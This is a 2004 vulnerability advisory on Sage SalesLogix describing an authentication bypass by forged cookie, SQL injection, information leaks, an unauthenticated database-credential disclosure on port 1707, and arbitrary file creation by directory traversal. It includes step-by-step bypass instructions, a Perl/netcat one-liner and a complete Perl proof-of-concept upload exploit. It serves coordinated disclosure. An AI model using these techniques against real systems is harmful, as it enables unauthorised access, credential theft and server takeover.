Multiple vulnerabilities in Sage Saleslogix
________________________________________________________________________
________
Agenda Security Services
Security Vulnerability Advisory
________________________________________________________________________
________
Product: SalesLogix Server and Web Client
Vendor: Sage
Homepage: http://www.saleslogix.com
Platforms: Microsoft Windows
Impact: Bypass authentication
Privilege escalation
SQL injection
Information leaks
Arbitrary file creation
Directory traversal
Advisory: Agenda-Security-Saleslogix-1-2004
Author: Carl Livitt (carl at agenda hyphen security dot co dot
uk)
Website: http://www.agenda-security.co.uk
Discovery date: May 19, 2004
Release date: October 18, 2004
________________________________________________________________________
________
Product Description:
"SalesLogix is the Customer Relationship Management solution that
drives
sales performance in small to medium-sized businesses through Sales,
Marketing, and Customer Support automation and back-office integration.
SalesLogix Web solutions provide a powerful deployment alternative to
traditional client/server applications. Designed for businesses needing
a
web-based CRM solution with flexible financing options, SalesLogix Web
solutions deliver resources and tools that drive sales performance and
provide
superior customer support. Easy to deploy, customize and use,
SalesLogix Web
solutions are practical and deliver low total cost of ownership."
Problem Description:
By manipulating the cookies used by the Web Client, it is possible to
trick the
server into authenticating a remote user as the CRM administrator
without
requiring a password.
It is also possible to perform SQL injection attacks on the SQL server
that is
used as the data store for the SalesLogix CRM system, reveal detailed
error
reports contained in HTTP headers and disclose the real filesystem
paths to
various SalesLogix directories.
The SalesLogix server itself is vulnerable to an attack that would
allow a
malicious user to obtain the username and password used to access the
SQL
server used as a data store. The disclosed username and password always
have
read/write permissions on the database.
Another vulnerability in the SalesLogix server allows an
unauthenticated user
to upload arbitrary files to the server in any directory (s)he chooses.
________________________________________________________________________
________
Problem Details:
Web Client: Authentication Bypass
---------------------------------
The main login page for the Web Client is found at the URL:
http://www.example.com/scripts/slxweb.dll/home
When a user logs in using this web form, authentication information
(the
username and password) is passed unencrypted to the SalesLogix (SLX)
web
server. If authentication is successful, a cookie is set in the user's
browser that stores the username, 'team' name and type of user that has
logged
in. For the purposes of this advisory, the team and user type are not
relevant. The cookie that is set looks like this:
slxweb=user=XYZZY0000001|teams=XYZZY0000001!ABCDEF000002!|usertype=Remot
e|
It is trivially simple to modify the cookie to contain the
administrator's
details, and because there is no session tracking performed, the
credentials
are accepted as valid by the server. A modified cookie would look like
this:
slxweb=user=Admin|teams=ADMIN!|usertype=Administrator|
When the SLX Web Client receives this cookie, it does not check for a
valid
session (the SLX Web Client does not use sessions, making it
inherently
insecure); neither does it check for a valid password. Instead, it
trusts the
information in the cookie to be correct and authenticates the user
based upon
that trust.
As such, the SLX Web Client authentication system is utterly broken and
can be
bypassed easily and reliably. It should be noted that it is possible to
impersonate any user, not just the administrator. Bypassing the
authentication
can be achieved by following these steps:
1. Start your favorite HTTP proxy server that is capable of modifying
HTTP
headers on the fly (for example HTTPush).
2. Configure Internet Explorer to use that proxy.
3. Browse to
http://www.example.com/scripts/slxweb.dll/view?name=mainpage (of
course you need to replace www.example.com with your own webserver
address).
4. When prompted to do so by HTTPush (or whatever proxy you are using),
add a
new cookie containing the following data:
slxweb=user=Admin|teams=ADMIN!|usertype=Administrator|
5. Complete the request. This will force the SLX server to set the
cookie in
your browser.
6. Configure Internet Explorer to NOT use HTTPush and disable the
proxy.
7. Browse to
http://www.example.com/scripts/slxweb.dll/view?name=mainpage
again. You will now be logged in as the administrator and you can
use the
SLX system with administrative rights.
It may be worth noting that using a value of ' (one apostrophe) for the
user name in the cookie causes a fatal exception in the SLX process
handling
the request:
Access violation at address 0424D29F in module 'slxweb.dll'. Read of
address
000000EC;
This has not been tested for exploitability and is fixed in the vendor
patches.
Web Client: Information Disclosure in HTTP Headers
--------------------------------------------------
By submitting an invalid request to the SLX Web Client, it is possible
to
cause the process handling the request to crash.
Additionally, the Web Client leaks information about the crash in its
HTTP
headers. For example, by submitting the following request:
GET /scripts/slxweb.dll/getfile HTTP/1.0
Host: www.example.com
Cookie: slxweb=user=Admin|teams=ADMIN!|usertype=Administrator|
The SLX webserver returns the following headers:
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 19 May 2004 10:29:11 GMT
X-Powered-By: ASP.NET
Set-Cookie: Error=True;
Set-Cookie: ErrorCode=513;
Set-Cookie: ErrorUserMsg=SalesLogix has detected an error condition.
Contact your administrator if the problem persists.;
Set-Cookie: ErrorLogMsg=
Access violation at address 0438E1C4 in module 'slxweb.dll'. Read of
address
FFFFFFFF;
Set-Cookie: slxweb=user=Admin|teams=ADMIN!|usertype=Administrator|;
path=/;
expires=Wed, 19 May 2004 10:59:11 GMT;
Content-Type: text/html
Content-Length: 550
The 'ErrorLogMsg' cookie gives detailed information about the crashed
process.
This crash has not been tested for exploitability and is fixed in the
vendor
patches.
Web Client: Document Store Directory Disclosure
-----------------------------------------------
By passing an invalid filename to the SLX component responsible for
downloading files from the server to the user, it is possible to obtain
the
full path to the Library and Attachment paths used by SLX:
http://www.example.com/scripts/slxweb.dll/getfile?type=Library&file=XYZZ
Y
or
http://www.example.com/scripts/slxweb.dll/getfile?type=Attachment&file=X
YZZY
The following error message is displayed:
The file requested "\\servername\logging\Library\XYZZY" was not found
on the
server.
Web Client: SQL Injection
-------------------------
There are multiple points in the code where SQL injection seems
possible. One
example of this follows:
http://www.example.com/scripts/slxweb.dll/view?name=coninfo&id='xyzzy'xy
zzy
When we examine the headers that are returned from this request, the
following
error message is displayed (edited for clarity):
Set-Cookie: ErrorUserMsg=SalesLogix has detected an error condition.
Contact your administrator if the problem persists.;
Set-Cookie: ErrorLogMsg=coninfo".
Failed to parse SQL.SELECT A1.WORKPHONE, A1.PINNUMBER,
A1.PAGERNUMERIC,
A1.MOBILE, A1.HOMEPHONE, A1.FAX, A2.POSTALCODE A2_POSTALCODE,
A1.WEBADDRESS,
A1.TYPE, A1.TITLE, A1.STATUS, A2.STATE A2_STATE, A1.ISPRIMARY,
A1.PREFIX,
A1.SECCODEID, A1.ACCOUNTMANAGERID, A1.EMAIL, A1.LASTNAME,
A1.CONTACTID,
A1.FIRSTNAME, A1.DONOTSOLICIT, A2.COUNTRY A2_COUNTRY, A2.CITY
A2_CITY,
A2.ADDRESS2 A2_ADDRESS2, A2.ADDRESS1 A2_ADDRESS1, A1.ACCOUNTID,
A3.ACCOUNT
A3_ACCOUNT FROM CONTACT A1 INNER JOIN ADDRESS A2 ON
(A1.ADDRESSID=A2.ADDRESSID) INNER JOIN ACCOUNT A3 ON
(A1.ACCOUNTID=A3.ACCOUNTID) WHERE (A1.CONTACTID='xyzzy'xyzzy);
Not only is it possible to inject SQL into this statement, but the
complete
SQL statement (including table and field names) is returned.
Web Client: Passwords are revealed in the source code
-----------------------------------------------------
By using netcat to submit requests to the SLX server and watching the
responses, it is possible to see passwords to the database and other
secret
data:
carl@agenda:~ > netcat www.example.com 80
GET /scripts/slxweb.dll/view?name=mainpage HTTP/1.0
Host: www.example.com
Cookie: slxweb=user=Admin|teams=ADMIN!|usertype=Administrator|
The returned data is enormous, but a small selection of VBScript is
presented
to illustrate the situation:
<OBJECT ID="GM" classid="clsid:10506C15-1748-4330-8E46-2CA6C4BB5948"
codebase="/slxweb/GroupManager.cab#version=-1,-1,-1,-1"
width=0 height=0 align=center hspace=0 vspace=0 >
<PARAM Name="ImagePath" value="/slxweb/Images" />
<PARAM Name="UserID" value="Admin" />
<PARAM Name="ServerName" value="www.example.com" />
<PARAM Name="DBType" value="dbSQLServer" />
<PARAM Name="vPort" value="80" />
<PARAM Name="UserName" value="ADMIN" />
<PARAM Name="Password"
value="badc0dedbadc0dedbadc0dedbadc0dedbadc0dedbadc0dedbadc0dedbadc0ded"
/>
<PARAM Name="Product" value="SALES" />
<PARAM Name="DataSource" value="SALESLOGIX" />
<PARAM Name="ExtendedProp" value="DSN=SALESLOGIX;UID=Admin;SLX
Server=example;ADDRESS=localhost;Type=ODBC;PORT=1706;RWPass=" />
</OBJECT>
Also included in the VBScript are sections that disclose the full path
to the
Library and Document paths, server names, etc.
One special point of note are sections of code such as this:
vMME.AttachmentPath = "\\example\SLXlogs\Documents"
vMME.LibraryPath = "\\example\SLXlogs\Library"
These variables are passed by ActiveX objects back to the server; the
server
trusts them, and in some cases, uses the paths to point to locations on
the
filesystem which will be written to. By modifying the VBScript en-route
to the
browser, it should be possible to change the paths to values such as
"c:\"
making it feasable that a remote user could upload arbitrary files (ASP
scripts
for example) to the server and completely compromise it.
SLX: Client / server authentication weaknesses
----------------------------------------------
The protocol that SLX clients and servers use to communicate is flawed
by
design. It does not mandate that a client is authenticated by the
server before
issuing SLX commands to it. It is therefore possible for a
man-in-the-middle
(MITM) attack to take place which would trick a client into believing
it had
been authenticated by the server.
A highly simplified model of the 'authentication' process for SLX
clients looks
like this:
1. Client -> Server [here's my username / password]
2. Server -> Client [you are now logged in]
3. Client -> Server [command 1, command 2, command X]
4. Server -> Client [ok, done. Here's the results]
Unfortunately, when a client sends a command to the SLX server, it
makes no
attempt to verifiy that the client is logged in and authenticated. In
other
words, steps 1 & 2 above are not necessary in order to execute SLX
commands
on the server. This makes it trivial to spoof the client software into
believing it has logged in. For example:
1. Attacker -> Client [ARP spoof. I am the server]
2. Client -> Attacker [here's my username / password]
3. Attacker -> Client [you are now logged in]
4. Client -> Attacker -> Server [command 1, command 2, command X]
5. Server -> Attacker -> Client [ok, done. Here's the results]
The protocol is sufficiently broken to render all of the SLX
client/server
communications insecure and allow an attacker to gain complete access
to the
SLX server.
SLX: Server reveals database username and password
--------------------------------------------------
Communicating on TCP port 1707, the SalesLogix server accepts commands
from
clients in a fairly simple format. As noted above, commands can be
issued
without need for authentication. For example, by using the command
'GetConnection' with the correct parameters, the server will inform the
client
of the necessary credentials for accessing the SQL server database that
SalesLogix uses as its data store. The following snippet is a proof of
concept
that can be executed from the command-line using a Perl interpreter:
perl -e 'print "\x0"x10 . "\x20" . "\x0"x3 .
"GetConnection\x0SALESLOGIX_SERVER\x0"' | netcat 1.2.3.4
1707
The resulting output would look similar to this:
Provider=SQLOLEDB.1;Password=masterkey;Persist Security Info=True;
UserID=sysdba;Initial Catalog=SalesLogix;Data Source=TESTBOX
The credentials returned by the server can be used to access the SQL
server
and perform any read/write action on the data, including adding or
deleting
user accounts, changing passwords, modifying data etc.
SLX: Arbitrary files can be created on the SalesLogix server
------------------------------------------------------------
Using a technique similar to above combined with a directory traversal
exploit,
a malicious user can create, truncate or overwrite arbitrary files on
the
SalesLogix server. The user does not have to be authenticated.
The command 'ProcessQueueFile' is used by the SalesLogix client to
upload a
file to the server's Queue directory for processing. The client
specifies both
the filename and the file content.
By using a filename containing "..\" characters, it is possible to
traverse to
the root of the filesystem upon which the SalesLogix server is
installed. An
attacker can use this to create arbitrary files with arbitrary content
on the
SalesLogix server.
An example exploit capable of uploading a file to a remote SalesLogix
server is
provided at the end of this advisory.
________________________________________________________________________
________
Vendor notification timeline:
19 May 2004 - Vendor contacted with initial advisory.
16 Jun 2004 - Vendor contacted to request status update.
Vendor informed of further vulnerabilities in SLX.
Author informed of pending fixes to previous
vulnerabilities.
22 Jun 2004 - Sent vendor latest advisory containing PoC exploit for
the file
creation vulnerability.
15 Oct 2004 - Vendor confirms all vulnerabilities are patched.
The decision is made to wait until after the weekend to
release
details of the vulnerabilities.
18 Oct 2004 - Security advisory released.
________________________________________________________________________
________
Updated software / patches:
All service packs and security fixes can be downloaded from the
SalesLogix
support website at http://support.saleslogix.com.
It should be noted that Agenda Security Services have not verified that
the
vendor patches address the security probems described in this advisory.
________________________________________________________________________
________
About Agenda Security Services:
Agenda Resource Management was formed to meet the growing needs of the
biotechnology industry for recruitment services, consultancy, training,
facilities management and security services. The security services
section has
gone from strength to strength, leading to the development of the
Agenda
Security Services division.
Former police officers, military personnel and network security
specialists
head it with extensive background experience from their time in the
anti-
terrorist branch, fraud squad, special branch and computer forensics.
Our
unique experience of the issues relating to the biotech industry has
enabled
us to develop sophisticated systems, procedures and unique skills which
help
us deliver an unrivalled service to our clients.
We are registered with agencies including the Criminal Records Bureau
(CRB),
Data Protection and BSI. In 2003 we were awarded the Information
Security
Systems Standard (ISMS) BS7799 into which we are incorporating the code
of
conduct for security vetting procedures (BS7858).
Our core services are data security/ethical hacking, social
engineering,
pre-employment security screening, CRB checks, BS7799 consultancy and
security
awareness training courses.
For more information, please contact us:
Web: http://www.agenda-security.co.uk
Email: info at agenda hyphen security dot co dot uk
Telephone: 08456 44 55 46 (UK)
+44 1964 671 791 (intl)
________________________________________________________________________
________
#!/usr/bin/perl
#
# Proof of concept exploit: Arbitrary file creation for SLX server 6.1
#
# Written by Carl Livitt, Agenda Security Services, June 2004.
#
# This exploit abuses the ProcessQueueFile command on SLX 6.1 (others?)
servers
# to create arbitrary files on the filesystem of the SLX server. By
using
# directory traversal, it is possible to escape from the Queue directory
and
# write anywhere on the SLX server's filesystem.
#
use IO::Socket;
print "slx_uploader - Uploads arbitrary files to Sage SalesLogix
servers.\n";
print "By Carl Livitt @ Agenda Security Services, June 2004\n\n";
if($#ARGV!=2) {
print "Syntax: $0 host filename_to_create file_to_upload\n\n";
print "Example:\n";
print " $0 10.0.0.100
\\\\winnt\\\\system32\\\\drivers\\\\etc\\\\hosts evil.txt\n\n";
print "The above example would upload the local file 'evil.txt'
to the SLX\n";
print "server on 10.0.0.100, overwriting the existing hosts
file.\n";
print "It is possible to upload binary files, e.g. executables,
with this exploit.\n\n";
exit(1);
} else {
$host=$ARGV[0];
$create_file=$ARGV[1];
$upload_file=$ARGV[2];
}
if((stat($upload_file))[7] > 4096) {
print "[*] Error! Files to be uploaded must be less than 4k in
size.\n\n";
exit(1);
}
print "[+] Building payload\n";
$contentLen=43 + length($create_file);
$exploit="\x00"x10 . chr($contentLen) . "\x00"x3 .
"ProcessQueueFile\x00" . "..\\"x8 . "$create_file" . "\x00"x6;
open(UPLOAD, '<', $upload_file) || die "Could not open local file
$upload_file\n";
while(($line=<UPLOAD>)) {
$exploit.=$line;
}
close(UPLOAD);
print "[+] Connecting to server $host:1707\n";
$sock=IO::Socket::INET->new("$host:1707") || do {print "[-] Could not
connect to server\n"; exit(1); };
print "[+] Sending exploit payload\n";
send($sock,$exploit,0);
print "[+] Waiting for response\n";
$sock->recv($data,1024,0);
if($data =~ /Received/) {
print "[+] Exploit successful\n";
} else {
print "[*] Exploit may not have worked.\n";
}
$sock->shutdown(2);
DISCLAIMER
Any opinions expressed in this email are those of the individual and not
necessarily the Company. This email and any files transmitted with it,
including replies and forwarded copies (which may contain alterations)
subsequently transmitted from the Company are confidential and solely for the
use of the intended recipient. It may contain material protected by
attorney-client privilege. If you are not the intended recipient or the person
responsible for delivering to the intended recipient, be advised that you have
received this email in error and that any use is strictly prohibited.